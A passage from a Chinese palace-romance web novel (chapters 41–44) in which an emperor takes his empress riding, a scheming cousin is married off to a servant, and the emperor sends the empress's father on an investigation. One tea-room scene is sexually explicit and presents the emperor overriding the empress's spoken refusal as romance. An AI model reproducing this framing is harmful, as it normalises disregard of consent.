他给了主座一个眼神, 示意沈若辞入座,沈若辞心想果然是无赖, 不守规矩,还要与她作对。 “快点, 朕饿了。”他催促道。 沈若辞只好走到主座坐下来,就算普通小户人家, 也是极看重用膳座次, 不轻易破坏规矩。他倒好, 让她做这个坏人。 难怪阿爹总是说他行事恣意妄为, 她又不得的感慨,这个评价没半点毛病。 皇帝丝毫没有做恶人的自觉, 催促道, “快点吃,吃多点,下午带沿沿去马场骑马。” 骑马?沈若辞眨了眨眼睛,明知她身子不好还要带她去骑马, 是嫌她活得太久了吗? 元栩仿佛看穿她的心思一般,“不准拒绝,吃完就去把骑装换上。” 说起骑装, 沈若辞觉得,怎么听起来更像是蓄谋已久的。 “皇上您可能有所不知……”沈若辞夹起一块乳鸽放到元栩碗中,小心翼翼继续说道, “臣妾的阿爹,只有一个女儿,便是臣妾,若臣妾有个三长两短,阿爹恐怕会做傻事……” 元栩纠正道,“沿沿还说漏了一点,你阿爹只有一个女儿,朕也只有一个皇后。” 沈若辞可怜兮兮地望着他,元栩也只是说,“朕不会让国丈做傻事的。” 午后,沈若辞还是跟着元栩来了马场。 马倌牵来一匹毛色纯黑,油光发亮的健硕黑马。元栩伸手指了指马,语气温和道,“这是朕的黑马,从小养大的。” 沈若辞也不知道说什么,只是远远地看着它纯黑的毛色,随口一问,“这马有名字吗?” 她知道专属的坐骑一般都会有属于它的称号,以彰显主人的喜爱。 元栩点头,“有。” 沈若辞接着问道,“起的什么名字?” 他微笑着看向举起马蹄嘶鸣的暴躁黑马,淡淡道,“小蝴蝶。” 吃人的蝴蝶都不敢长这样子。 沈若辞心里在冷笑。下一秒,她就见皇帝招招手,冲那黑马叫了一声,“小蝴蝶,过来。” 那不服管教的黑马便挣脱马倌的束缚,一路欢快地跑过来。 沈若辞,“……” 她想起出门前连嬷嬷的告诫,忙后退了几步,躲到皇帝身后。 黑马在元栩跟前停了下来,鼻子里发出“哼哼”的声音,元栩抬手抚了抚它干净黑亮的毛发,“小蝴蝶又不听话了,是不是?” 黑马似乎听出了责备,昂起头又嘶鸣了一声,它将头撇到一旁,刚好看到元栩身后的沈若辞。沈若辞被它黑溜溜的眼睛看得心慌,她从箩筐里挑出最新鲜的萝卜,小心翼翼递到黑马嘴边,“小……蝴蝶,吃萝卜。” 黑马一口咬住萝卜,吭哧吭哧嚼了几下尽数吞进肚子里,几乎是没有迟疑,它突然将头凑过去,蹭了蹭她的肩膀。 沈若辞感觉它在对自己示好,但她也怕这黑马要失控踢人,她始终躲着它,不敢靠近,更不敢去摸它。 “小蝴蝶不会伤害你的。”元栩突然开口,他温柔地拍拍黑马的头,“它不会主动靠近不喜欢的人。” 沈若辞会骑马,也知道马的习性。他这样的说法是成立的,并不是无稽之谈,可凡事总有个意外,她比较惜命,不敢放松警惕。 元栩见她害怕,也没有勉强,叫马倌去牵一匹温顺的马儿来,他自己则翻身上马,修长笔直的大腿一夹马腹,催促它跑起来。 哪知向来听从命令的黑马此时不为所动,仍站在原地来回踱步,那双黑溜溜的眼儿一直盯着沈若辞看。 好一会儿沈若辞才发现它在看自己,疑惑地指了指自己问它,“小蝴蝶……在看我?” 黑马嘶鸣一声。 沈若辞朝它笑了笑,这时马倌刚好牵来一匹枣红马,恭恭敬敬地禀告,“娘娘,马儿牵过来了。” 沈若辞点点头走过去,踩着马凳翻上马背。这马果然是个温顺的性子,跑起来又快又稳,还听人号令。她由最初的小心翼翼,到后边胆子越来越大,独自骑着马绕了马场一大圈才回到原地。 那时元栩黑着脸坐在马背上,黑马悠悠闲闲的散着步,一副没出发过的样子。 沈若辞看了看□□喘着大气的马儿,再看看黑马气定神闲的模样,心道果然皇帝的御马果然是非同凡响,跑完后轻易不带喘。 她心疼马儿,从马上下来稍作休整。此时元栩骑在马上,修长有力的双腿夹紧马腹,窄腰健硕挺拔,身形谈得上极为漂亮强劲,沈若辞觉得日光有些耀眼,下意识将目光从他身上转移到黑马。 “小蝴蝶不会……还没出发过吧?”话一出口她就后悔了,何必多嘴引祸端呢。她不安地望向皇帝,见他冷冷地开口,“它想让你骑,不然不肯走。” 沈若辞微微抬眸望向马背上的天子,第一直觉是他在胡说八道。她跟黑马又不熟,第一次见面,怎么就非要她不可呢。但皇帝一脸阴沉的神色却撒不了谎,恐怕真的是黑马不听话,将他激怒。 可应该不关她的事吧。 黑马绕了一圈来到她面前,沈若辞正要避让,元栩却朝她伸出手,“上来。” 她迟疑地递出手,一眨眼的功夫就上了马,坐到他身前。 黑马抬起前蹄,轻快地跑起来。 尽管二人已经做过最亲密的事情,但此时被皇帝双臂圈着身子,沈若辞还是觉得拘束。可当黑马跑起来,清风拂面,视野开阔,所有的顾虑全都抛到了脑后。 此时眼里心里,只有风和自由。 起初元栩跟她一样,全副心思都在驾驭黑马这件事上,等沈若辞熟悉了黑马的性子,他也放松了心神,开始转移注意力。 黑马跑得轻快,她生得轻盈苗条,身子也随之一起一伏,一上一下,似有若无地撞在他身下,撞得他心神不宁。 元栩有意拉开两人的距离,可身前那人骑得正起兴,哪里能注意到这点细节,几次之后,他更加无法拒绝了,原本双手握着缰绳此时变成了单手,空出来的那一只牢牢地握着她的腰。 二人几乎是紧贴着彼此。 一圈之后,快要回到起点,黑马的速度渐渐慢下来,沈若辞这才后知后觉地察觉到了异状,她下意识想要挣脱,可那只手紧紧地环着她的腰,像铁墙一样无法撼动。 沈若辞吐出一口气,提议道,“皇上,跑这么久,让小蝴蝶休息一下吧。” 她想趁此机会换匹马,就不用跟他同骑了。 元栩心不甘情不愿地松开手,下一秒那柔软的身子便从他怀里逃脱,短暂的愉悦戛然而止。 他冷着脸从马上下来,拉起披风将自己裹得严严实实。 沈若辞摸了摸黑马漂亮的毛色,“乖乖吃草喝水。” 这一招对黑马极为受用,它听话地跟着马倌离开。沈若辞见它走远了,刚打算开口,“皇上……” 元栩打断她的话,“朕累了,去茶室休息一下。”话刚说完,他大步朝茶室走了过去。 沈若辞还没玩够,但又不好自作主张一个人跑去骑马,她迟疑了一下,还是跟着元栩进了茶室。 室内布置大方清雅,博古架陈列各色古玩珍宝、名贵兰草,正中央是一套金丝楠木茶几。 元栩坐在主位的茶椅,宫人已将热茶煮好,茶香袅袅弥漫屋中。沈若辞后脚刚进屋,茶室的门就被人从外边关上,她想阻止已经来不及了。 沈若辞回头看了一眼紧闭的门扇,又慢慢转身看向元栩,“皇上。”她顿了顿又说,“臣妾还想骑马。” 回应她的只有淡淡的一声“过来。” 元栩开始解自己的腰带。 沈若辞心头一跳,见他身子缓缓地向后仰去,最后偏过头来,好整以暇地等着她。 “骑朕。” 直到这时候,沈若辞才从他的眼神里明白过来话中的意思。她长指绞着衣摆,脚下仿佛有千万斤重,如何也迈不开步子。 怎么可以在马场呢,又不是寝宫,更何况马倌就在外面,太不知廉耻了。沈若辞小声拒绝,“不要在这里。” 元栩耐着性子冷冷道,“上来。” 屋中温度似乎高了一些,茶香更加浓郁。 元栩从背后伸手环住她的身子,两手兜了个满,指间碰触到一片柔腻绵软,像云朵一样,变化着各种形状,而后她开始起伏。 她可真轻。 轻而易举就被举起,落下,就像方才在马上一般,起起伏伏。 而他掌中的,腿上的,丰腴饱满得过分,根本不像是这副纤瘦身子该拥有的。 元栩手上的动作没有停,甚至还加重了力道,沈若辞一不留意,没忍住从喉中溢出几声娇-怯的低吟,引来背后那人恶意的嘲笑。 那声音,连她自己听了都觉得羞人,而后她死死地咬住嘴唇,再不肯漏出半点声音。 元栩端起茶杯喝了一口,掰过她的下颌将茶水渡到她口中,另一只手更加肆无忌惮,她开始断断续续地呜咽。 渡了几次茶水,只有一半进了她口中,茶水顺着脖颈往下,遇到阻挡后,洇湿了一片,他拭去雪峰上的水珠,“都把沿沿弄湿了,这可怎么办呢?” 温热的气息扑洒在耳畔,她感觉整个耳廓莫名酥麻起来,周身更是滚烫得不像话,意识里的那根弦绷紧了,几乎随时就要断掉,身后人忽地向前靠过来,在她耳边似笑非笑,“是不是,骑朕更有趣?” 第42章 什么、有趣? 茶室内空旷安静, 由于他正做着不合规矩的事,沈若辞像被架在火上炙烤,马场里偶尔传来的马叫声被无形地放大, 惊得她身子下意识地绷紧。 沈若辞的头脑几近放空,一时间没反应过来他话中的意思, 等回味出来的时候,几乎是要把唇给咬破。 偏偏那人还不要脸, 非但不放过她,手上的劲儿反而更起兴了, 邀功似地在她耳边轻磨低语,“朕的功劳”, 她受不住这上上下下的刺激, 当场就想晕死过去。 胡闹了半个多时辰, 那原本全程绷直的莹白如玉的脚背, 像是被抽干了最后一点力气,此时无力地垂下。沈若辞闭着眼儿无力地靠在他身上, 双唇鲜红如熟透的樱桃, 唇角微微抽动,咬着牙发出哼哼唧唧的控诉,“我再也不来骑马了……” “再也、不要!” 此时元栩却是满面春风,眉眼生辉, 他像是没听到她的控诉那般,自顾自地抬起她一条腿,给她套上布袜, 穿上那双新做的鹿皮靴。 门外适时响起了敲门声,“皇上,连将军求见。” 沈若辞明白这些内侍肯定是听着屋内的声音来禀报的, 顿时更是窘得不行。 岳常安知道帝后二人待在一块儿,一般没有他什么事,他找了个机灵的小太监守在马场放风,自己趁机躲回去休息,就等帝后玩够了,准备离开的时候,再通知他过来。 所以,睡了一觉,精神饱满的岳公公出现在马场门口时,正好赶上帝后二人在你侬我侬。 香汗湿透的发丝覆在额头上,长指温和地撩起被他颠簸下来的发丝,关心道,“骑马累吗?” 沈若辞红着眼儿,抿着唇泫然欲泣。 岳常安微微笑着,见新皇后没有回答,便赶上前去,自以为好心地提醒道,“娘娘。” 他这么一句话,沈若辞才意识到还有人在看自己,小脸憋的更红了,眸子里蓄着泪珠,几乎随时要滚落下来。 岳常安心里一惊,偷偷拿眼去瞧皇帝,见他面色如常,可被他触及眼神时,却狠狠地瞪了他一眼,那眼神里明晃晃地写着“要你多事。” 岳常安被他看得脖子一缩,忙道,“步辇就在前面,皇上娘娘可前往乘坐。” 元栩餮足地握起她的手,连骁还在书房里等着他,方才这场突如其来的情-事耽误了时间,他要赶过去见一下,“皇后先行回去,朕还要政务要去处理,就不陪你回宫了。” 沈若辞忙不迭地缩回手,“臣妾告退。” 她红着眼圈,慌慌忙忙地从他视线里逃脱,半路因为走得急,扯动腿间的伤处,痛得她一个踉跄摔倒在地。 沈若辞已顾不得疼,她从地上爬起来,忍着黏腻和不适跑上步辇。等坐定了,步辇开始移动,她才微微松了口气,抬起手背抹了一下鼻子,鼻尖红红的。 万寿宫内。 薛太后坐在主位上,宫女给她捶着肩,看起来很是舒坦。后宫几位妃子都到齐了,面上或多或少都挂着笑容。 薛雪媚闲适地喝着茶,“就她那身子,还去骑马,怕是不嫌命短吧。” 她心里知道皇帝厌弃沈相的女儿,喝避子药就算了,没想到还想她死。 几人正说说笑笑,跑进来一个小太监,“禀太后、各位娘娘,皇后娘娘离开马场了。” 连亦兰问道,“是自己走出来的吗?” 这话问出口后,连亦兰才意识到话中的恶毒,不禁有些懊恼。所幸其他人也在等答案,没人去揣测她的用心。 小太监点点头,“回娘娘,皇后娘娘是自己走出来的,就是……” 他像是摸准了各宫娘娘想看好戏的心态,故意卖个关子。 薛雪媚迫不及待地问道,“是什么,快说。” 小太监鞠了一躬,“是。不知道马场里发生了什么事,皇后娘娘出来的时候路都走不稳,奴才见她鬓发松散,眼眶发红,一副受了惊的模样。” 薛太后想起元栩那匹黑马,性子烈得很,除了皇帝谁也碰不得,不知情的人想靠近,被踢上一脚那真是要命的事。 能走路,还算是万幸了。 小太监见各位娘娘听得津津有味,便又说道,“娘娘跟皇上分开的时候,似乎很害怕,还摔了一跤,弄得一身泥土,可她顾不得伤情,硬撑着跑上步辇,好像……是在逃命一样。” 啧啧,还真惨。 众人听着,甚至有几分同情起这位皇后娘娘来了。果然什么人就该有什么样的命,这皇后也不是谁都能当的。 连亦兰问,“皇上没有陪她回去?” 小太监摇摇头,“没有,奴才见皇上看着她,嘴角似乎还笑了一下。” 几位妃子都笑了,薛太后不觉得好笑,她甚至觉得心里发毛。他果真是个铁石心肠的人,一心就想将人置于死地,若是现在不做打算,以后连骨头都会被他吃了。 她突然觉得自己多年来的筹划是对的,否则日后会死无葬身之地。 再说沈若辞回到雪辉宫的时候,荣星荣月两个小宫女忙迎了出来。 她们俩还是头一回离皇后娘娘这般近,心里多少有点紧张,但脸上还是尽量保持镇定。 “娘娘,请喝水。” “娘娘,擦擦汗。” 沈若辞扶着荣月的手,声音沙哑,“准备热水,本宫想沐浴。” 荣星抬头看了一眼皇后娘娘,见她双颊泛着红晕,眉眼有一种她也说不清道不明的明丽,几乎把她看呆了。 荣月见她傻站着不动,催促道,“快去,荣星。” 荣星红着脸儿往浴室走。 雪辉宫里一早便备好了热水,就等皇后娘娘骑马回来后,随时可以沐浴。 不出半刻钟,沈若辞已经站在浴室里,开始脱衣裳。腰带散开,外裳落下。一滴泪掉在荣星的手背上,她抬头,惊讶道,“娘娘,您怎么哭了?” 荣月闻声也转过来,小翼翼地望着她脸上的泪痕,“娘娘……” 沈若辞双手紧紧地攥着胸口的衣襟,不管荣星荣月怎么劝说都不肯松开,一时间主仆三人都愣在原地。 连嬷嬷闻声进来,递给荣月荣星一个眼色,示意她俩出去。 两个小丫头如释重负,风一般地溜了出去。 等二人退下后,连嬷嬷才走上前去,温和地安抚道,“娘娘,我让她俩都出去了,来,老奴给您更衣。” 说着轻轻握住沈若辞的手,从她胸前拿开,开始解她的中衣。 沈若辞这才抬头看向连嬷嬷,哭得梨花带雨,“嬷嬷,他怎么能这样……” “怎么可以这样……” 小衣褪下来,裹着的绵软离了束缚,深深浅浅的指痕一览无余,连嬷嬷只看了一眼,心疼得连连抱怨,“这下手也太没有个轻重了,娘娘这么娇贵漂亮的小娘子,碰一下都要心疼好久,怎舍得下怎么重的手!” 就是!沈若辞委屈得连连点头,得到了安抚,她心里也好受一点,乖乖地由着连嬷嬷扶进浴桶里清洗身子。 浴室里雾气腾腾,细看之下,才发现那身白嫩的皮肉上,像白雪落了红梅,有点点的殷红如血的痕迹。 沈若辞望向连嬷嬷,双眸被水气洇湿,看起来有些可怜。连嬷嬷见她欲言又止,拿布巾替她清洗身子。 “娘娘有什么想法,有时候可以直接跟皇上说。皇上啊,性子有时候是武断一些,但也不是不听人劝的。” 沈若辞想起他在茶室里的表现,哪里是听人劝的样子。她抿了抿唇,没有反驳。 连嬷嬷细心地给她梳洗头发,“老奴当年陪连皇后入宫,那时候连皇后也像您一样,独宠后宫,可惜红颜薄命,生下皇上没多久之后,便因病去世。” 沈若辞心道这其中定有什么误会,连嬷嬷才会认为她正得圣宠。 “后来啊,没几年的时光,先皇也驾鹤西去了,只剩下皇上孤零零一个人,小小年纪就要掌管大权,统领天下,也亏得他够坚强,将一切都承担了下来。” 头发已经梳顺洗净,连嬷嬷还在絮絮叨叨,“娘娘跟皇上是新婚夫妻,没有什么话儿不能说的,切勿一个人憋着,免得日后生出嫌隙。” 沈若辞愣了愣。 她起初一直认为连嬷嬷是皇帝派来监视她的,可近来相处多了,便觉得也不尽然。日常生活细节,她能感受到连嬷嬷的用心和关怀。 此时连嬷嬷正认真地替她包起湿漉漉的头发,又细心地将一缕碎发别到耳后,沈若辞按住她的手,歪过头去将心里的疑惑问出口,“嬷嬷为何要对我好?” 连嬷嬷也是一怔,片刻之后,板正的脸上难得露出一点笑容,“老奴对娘娘好,是因为皇上。皇上对谁好,老奴就对谁好。” 那时候皇帝让她去相府,她直觉皇帝是让她去看着人的,所以并没有给沈若辞好脸色看。 可后来,她知道了皇帝要立她为后,心态自然发生了很大的变化。皇帝是她的主子,又是她一手养大的“亲人”,有一天他找到了喜欢的人要成亲了,她当然是要替他开心的,跟他一样去喜欢那个人。 她的想法就这么简单,她微微思忖了一下,温和道,“老奴觉得是,爱屋及乌。” 沈若辞明白过来,说到底,这还是一场误会,连嬷嬷以为皇帝真心娶她为妻,她老人家视皇帝亲如后辈,自然也把她当亲人疼。 可惜她这份慈爱终究是要被辜负。 等到了回门那一日,锦云一双巧手从清晨开始就没有停过,梳妆打扮穿衣,样样都要做到极致,沈若辞只能尽力配合。 作者有话说:想起来女二还没出场,马上来安排。 第43章 元栩来雪辉宫接人的时候, 简直是眼前一亮。美人就是美人,出色的容貌永远是最吸引人目光的。正红色的裙装,比火还要热烈还要耀眼的颜色, 穿在她身上,似乎暗都淡了几许。 今晨日光有些刺眼, 沈若辞出门的时候眉头一皱,微微眯起了眼睛。 元栩本来已坐上了轿撵, 见到这一幕,不假思索地从车上下来, 径直走过去将人抱进车里。 沈若辞双颊通红,端坐在车内闭着嘴不说话, 他这人贵为天子, 做事都是这么没有礼数的吗?这么多人, 这么多双眼睛看着, 不让人见笑吗? 车内放着柔软的靠枕,元栩随意地倒在靠枕上, 长腿微屈, 一副闲适自在的模样,见沈若辞坐得端正,他手臂一伸,就将人搂过来, 与他双双倒在靠枕上。 沈若辞“……” 她抿抿唇,漂亮的眼睛半垂着,心道算了, 这里也没有人看到,就当惯着他吧。 临近相府,沈若辞坐起来检查一遍穿戴后, 才撩开车帘,远远就见父亲跟沈家一众人员在门口等着。 下了马车,众人依礼拜见后,便领着皇帝进府里去。 回门宴上,沈忠安排了歌舞表演。沈墨也没有拂两个哥哥的面子,到场坐了一会才离开。 沈墨离开后,沈若辞的心也跟着父亲走了,没坐一会也借故离席。 沈若辞一去不回,元栩心里放不下她,觉得那舞蹈甚是无趣,沈忠兄弟二人又尤其碍眼聒噪,他不想呆下去,便借口去看看沈相。 沈忠殷勤地想要陪着,被他拒绝了。门口一个身材高大的小厮立马毛遂自荐,替他引路。元栩对这种场面见怪不怪,便跟着他去找沈相。 沈忠沈义兄弟二人已将沈府挥霍一空,但昔日的亭台楼阁尚在,也不至于太过落魄。元栩一心想去看看沈若辞,也无暇多看,一路疾步快走,直至湖边出现一抹红色的身影,那小厮忽然停下脚步,回头来恭恭敬敬地看着他。 今日沈府一大家子在门口迎接的时候,元栩就发现沈若辞一袭红衣在女眷中尤其抢眼,所以此时见到这个红色的背影,他下意识觉得是沈若辞。 元栩并没有多想,便朝湖边那道身影走过去。 等有走近了,他才发现自己看走眼了,这女子身段根本不及沈若辞,甚至差远了。他二话不说转身就要离开,哪知湖边那女子忽地回头。 女子的声音柔美动人,“皇上……” 沈若嫣似乎察觉出皇帝要走,楚楚可怜地叫了一声,而后羞涩地将披在身上的红衣褪至臂弯,露出鸳鸯戏水的小衣。 小厮像是一早就知道沈若嫣要做什么,早早地退后几步背过身去。 沈若嫣羞涩地介绍起自己来,“臣女若嫣,是皇后娘娘的姐姐。” “哦?” 元栩脚步一顿,略微思忖了一下,轻轻地将她的名字默念了一遍,“沈若嫣。” 他道,“很好。” 自己送上门来了。 他嘴角勾起一抹笑意,笑容未及眼底,冷冷地看她卖弄风情。 元栩的反应让沈若嫣备受鼓舞,她咬着唇儿唤了一声“皇上”,而后莲步轻移,一副随时要栽进他怀里的模样。 元栩往右前方迈了一步,脚尖一旋,轻轻地转了个身站到她背后,避开了她的投怀送抱。 沈若嫣扑了空,怔愣在原地。 她想起沈若辞今早身着华服,在沈府门口接受众人跪拜的风光,心里全然不是滋味,她无法接受沈若辞一个残花败柳都能做皇后,而她样貌出众又冰清玉洁,却活在泥潭里。 袁妙莹不知因何事被送到了山里的道观,她想要攀上袁家谋一门好亲事的希望彻底断了。而三叔入狱期间,沈家人的做法已经将他得罪得彻彻底底,再也无法挽回。如今年岁也不小了,沈若嫣知道家人已指望不上,凡事还是要靠自己争取。万不得已之下,只能出此下策。 她握紧了手心,刚一抬头,目光触及便是不远处沈若辞夺目的红衣。她几乎不假思索,转身就往湖边那天潢贵胄身上扑过去。 元栩身形一闪,一股刺鼻的香味从鼻尖飘过,他蹙眉拂下衣摆,这才听见背后“扑通”一声。 接下来便是女子尖声呼喊“救命”的声音。 他没有往湖里看一眼,从容地走向那小厮,最后在他面前停下来,“叫什么名字?” 小厮不慌不忙地回道,“陈彪。” 元栩问道,“想不想娶沈若嫣?” 陈彪生远远地望着湖里扑腾求救的女子,眼珠子一转,谄媚地回道,“想。” 元栩轻笑一声,“朕给你这个机会。” 小厮慢悠悠地往湖边走,今早他才收了沈若嫣的好处,要他找机会将皇帝带来湖边。原本以为不是简单的事情,没想到他稍微争取一下,就完成了任务,二两银子落了口袋。 这会子好运似乎又砸中他了,他一路走,一路喊,“来人啊,救命啊,大小姐掉湖里了!” 蠢货。 元栩嗤笑一声,往前走一段距离,就见沈若辞去而复返。 方才筵席上岳常安见皇后娘娘离开后,皇上就一副心不在焉的样子,他等了一会儿,没等到皇后回来,就决心悄悄出去将人寻回来。 好不容易找到人,将人请回筵席的路上,没想到亲眼目睹了一场沈家女眷勾引皇帝的戏码。 那衣裳说脱就脱,饶是岳常安见惯了大场面的人,也一时手脚无措,走也不是,上前去也不是,一双短窄的眼儿不安的望着身旁的沈若辞。 沈若辞平平静静地说了一声,“走吧”,她可没有偷窥别人的癖好,便沿着小径走开了。只不过没走出几步,就听见小厮大声呼救地声音,她迟疑了一下,还是原路返回。 呼救声仍在耳边,元栩不疾不徐地朝地从石阶上拾步而下,“皇后总算记起朕了?” 她方才明明见人勾引他来着,却视而不见,扭头就走,元栩胸口堵了一口气。难不成,他真的被沈若嫣勾走了,她都能这般无动于衷? 沈若辞像做坏事被抓个现行,心底是虚的,但还是强装镇定向他行了一礼,“臣妾见过皇上。” 这时候府里众人闻声而来,三三两两地跑过来一探究竟。 这场面像极了那日马瑜春来求亲的情形,众人相携而来,一个一个就笑着等着看她笑话。沈若辞心下一沉,下意识想要避开这些人。 “皇后不陪朕参观一下沈家?”他一双桃花眼里噙着笑意,“也顺道看场好戏。” 不能只让别人看好戏啊,有机会也要看看别人的好戏。 他拉着沈若辞的手,气定神闲地随人流走向湖边。 沈忠闻讯赶来,一路痛心疾首地喊道,“好好一个人,怎么就掉到湖里了呢!” 小厮已将沈若嫣从湖里捞上岸来,人正躺在他的怀里,身上还盖着他的衣裳,浑身抖个不停。 沈忠见此场景脸色一黑,示意丫鬟上前去扶沈若嫣。那小厮眼疾手快地将人扶起来,还不忘替她整理一下披在身上的衣裳。 “大小姐的怎么穿成这个样子?” 小厮的动作引起沈忠的注意,这会儿他才发现女儿穿着下人的衣服,又追问道,“怎么回事?” 小厮站在原地,看着沈若嫣的背影,“大小姐身上穿的是小人的衣服,她的衣服都在湖里。”他手指一抬指向湖面,众人沿着他手指的方向望过去。 微风习习,湖面波光粼粼,女子的贴身的小衣随水流飘到湖中央,一抹艳红尤其显眼。 沈忠脸色一黑,“这么说,你看光了嫣儿的身子?” 沈若嫣没想到父亲会当众问出如此难堪的问题,她脚步一顿眼泪就流了下来,是生怕别人不知道吗? 小厮当众跪在地上,诚恳道,“小人冒犯了大小姐。当时事态紧急,大小姐危在旦夕,小人并没有时间多想。” 这等于承认了沈忠的说法。 “混账东西!”沈忠一脚将人踹翻在地。 沈若嫣原本已由丫鬟搀扶着走出几步,此时越想越不对劲,她忽地甩开丫鬟的手冲了回来,指着那小厮的脸大叫道,“爹,他对女儿不敬,快杀了他,杀了他!” 她现在回想起来湖里的每一次接触,都是他蓄意轻薄。只有这低贱的男人死了,她才能挽回自己的清白。 如花似玉的女儿给下人看光了身子,这事传出去,日后沈若嫣的名声就全毁了,他原本还打算靠这个女儿走一下裙带关系或者捞一笔大钱,今日这事几乎断了他的念想。 沈忠何尝不想杀了这个贱奴来掩盖这丑事,可眼下不是时候,若是平日里只有沈家的人,他大可以杀人灭口,将其他目击者一并处置。可今日,坏就坏在还有外人在,不止皇帝、宫里还来了一群侍卫侍从,谁也保不准这群人不会将事情说出去。 此时沈忠左右两难,杀了这贱奴又怕给人说恩将仇报,不杀又无法掩盖丑事,看来只能等皇帝的人走了,他再神不知鬼不觉地把人处理了。 “先将人带下去。”沈忠无奈地挥手。 本以为事情到此戛然而止,元栩这会儿才慢慢地从人群中走出来,“今日一事有损沈大小姐的名声,不知沈大人要如何处理?” 第44章 经皇帝这么一问, 沈忠一时底气全无,唯唯诺诺地上前问道,“皇上, 不知该如何……处理这奴才是好?” 元栩瞥了他一眼,“朕倒是有个两全的法子, 既可保住沈大小姐的名声,又能报答救命之恩。” 沈若嫣浑身抖得更厉害, 一个贱奴,生剥活剐了还不解恨, 谈什么报答? 沈忠忙回道,“求皇上赐教。” “依朕看, 救人性命的事, 用钱财报恩显得没有诚意。沈大人觉不觉得, 这男未婚女未嫁的, 凑成一对刚刚好。” 沈忠初时惊愕,但片刻之后又沉默下来, 似在考虑。 “不……”沈若嫣瞬间明白皇帝的意思, 整张脸惨白成一片,又见父亲迟迟不肯开口拒绝,心里慌得没底,她扑在地上抱住父亲的腿, 哀求道,“爹,女儿不嫁给他, 死……都不要嫁给他。” 小厮一副受委屈的样子,在一旁添油加醋,“难不成大小姐真想做忘恩负义的事, 要奴才死?” 沈忠被吵得头疼,今日女儿算是名声全无,日后恐怕用不上了,留在家里也是祸害,不如直接嫁出去的好,这样子还可以少养一张嘴,他也不必背上忘恩负义的骂名。 “由不得她,人家既然救了你,又看光你的身子,你做他的人理所当然。” 小厮立马表明态度,“奴才愿意负责。” 沈若嫣要气红了眼,“用不着你多事!” 元栩见沈若辞始终一言不发,便牵起她的手,柔声问道,“皇后怎么看?” 皇后? 沈若嫣狼狈地跪在地上,她微微仰起头,沈若辞那身红衣耀眼,深深地刺痛她的眼睛,她心底里腾起一股怨气,哀嚎道,“凭什么她失了清白给马瑜春,还能入宫做皇后,而我就要嫁给这个贱奴!” 沈忠万万没想到她还敢提起这事,气急败坏地踢了沈若嫣一脚,“逆女,胡说八道什么,休要诬陷皇后娘娘!” 沈若嫣勾结马瑜春要毁她清白的事,沈若辞还没跟她算账,没想到她主动提到了,她便顺水推舟,为自己报个仇。 她微微垂下眼眸,将沈若嫣的狼狈尽收眼底,“皇上说得是,凑一对,刚刚好。” 毁谤皇后可是要牵连全家的大罪,沈忠吓出一头冷汗,在一旁奉承,“是是是,皇上圣明,臣立马去准备婚事。” 人潮散去,沈若嫣此刻才意识到事情已无回旋的余地,面如死灰地瘫在地上,最后被丫鬟搀扶回去。 回去的路上,沈若辞没想到皇帝还有替人做媒的喜好,倒是阴差阳错帮了她。 马瑜春入狱后,状告他恶行的人络绎不绝,很快就要被发配到边疆,这其中当然也有她的手笔。她私下出钱出力,帮助无权无势的受害人,让他们也有能力去状告马瑜春。 这回马瑜春伏法也是意料之中的事。 但袁妙莹一事却是出乎意料,莫名其妙去了鸡笼山的小道观,以她的性子,恐怕不会是自愿去的,唯一的可能是……… 沈若辞下意识想到皇帝,她抬头望了望身旁的男人,心里笑了一下摇摇头。怎么可能,他才不会知道这些事,更不可能特意来帮她报仇。 二人一同来到沈墨的住处。 沈若辞一早便跟父亲见过面,此前父女二人已经说过话,她朝父亲灿然一笑,甜甜地唤了一声“阿爹。” 沈墨见女儿面色红润,双眸如星光璀璨,不由得心情大好,笑得十分慈爱。 元栩黑着脸站了一会,沈墨像是才记起他这号人来,拱手准备行礼,“臣……” 元栩大手一挥,“一家人,爹不必多礼了。” 沈墨几乎是从善如流地收起手,挺直了腰,半点客套的意思也没有。 元栩轻轻一笑,“爹可要照顾好自己,切勿像上次那般,做出让沿沿操心的事来。” 沈墨一怔,沉下脸来不说话。 元栩看向沈若辞略显焦虑的小脸,轻声道,“朕有政事要跟爹商议,沿沿先回避一下。” 沈若辞一步一回头,最后还是迫不得已地出了门。 元栩开门见山,“沈相真不打算同朕说说,姜国来的信件究竟写了何事?” 沈墨沉思良久,才缓缓开口反问道,“而今沿沿在皇上手里,您还怕臣敢有二心不成?” “沈相误会了,朕只是怕沿沿又要为父亲四处奔走,操心劳累。” 他说得漫不经心,沈墨心下一震,长袖下手掌不自然地握成拳,片刻之后又缓缓松开,嘲讽道,“皇上倒是对爱女情深义重。” 元栩听出他对自己的不信任,“沈相可以不相信朕,但不能不相信沿沿。像沿沿这样的女子,不讨人喜欢?” 沈墨脑子里闪过女儿种种过往,从一个糯米团子长到如今亭亭玉立的少女,他很难想象会有人不喜欢他的宝贝闺女。 偏偏有人不是人。 沈墨叹了口气,“是臣一点私事,与国事无关,求皇上成全,莫要再追究。” 元栩最终没有追问下去,他还有事情要沈墨去着手调查。 “沈相还记得安都贪墨一案?”元栩语调认真起来,继续说道,“而今案件已查清,丁太守是案件主犯,已捉拿归案。贪污的钱财流入虞城,而他本人拒不交代何人指使,亦说不出钱财最后进了谁的口袋。” 沈墨眉头渐渐皱起,“虞城是二皇子的封地,若想究根究底,恐怕阻挠重重。” 元栩点头表示赞同,“所以朕想请沈相去一趟安都,亲自调查此事,以便……”他笑了一下,将茶盏推到沈墨面前,“将功抵过。” 安都这一去,怕是短期内回不来。沈墨心头立即涌上不好的念头,皇帝若是不安好心,不知道这次要趁他不在做出什么坏事来。 元栩循循善诱,“沈相也知道此番您无罪释放,朕饱受争议,要想堵住悠悠之口,将功抵过是最好的选择。何况事关重大,沈相忧国忧民,恐怕比朕更加上心。” 若是以往,不用皇帝多说,沈墨一早主动请缨前去安都,但如今他心忧女儿,哪里能说走就走。挣扎了半晌,他只说,“容臣想想。” 元栩道,“朕出去找沿沿,沈相尽快想好回复朕。” 元栩来到院子里的时候,沈若辞手里握着一根长竹竿,正仰着头用竹竿打橄榄。 现在这个季节,成熟的橄榄还不多,她在一片绿油油的叶子里费劲地寻找果子。 头抬得久了,脖子便开始犯酸,沈若辞收回竹竿,手指搓着掌心里的两颗绿橄榄,忙活了半天,竟然只找到两个大的。高处的枝桠倒是能看到不少果子,可惜只有干看的份,根本就够不着。 元栩踩着石阶走进庭院里,高大的身姿投下长长的影子。他从沈若辞手中接过竹竿,眼神不屑地看了一眼她的头顶,嘴角几不可见地向上扬了扬。 沈若辞见他举起竹竿,主动让了个位置给他,哪知才往后走了一步,就听见他轻描淡写地说了几个字。 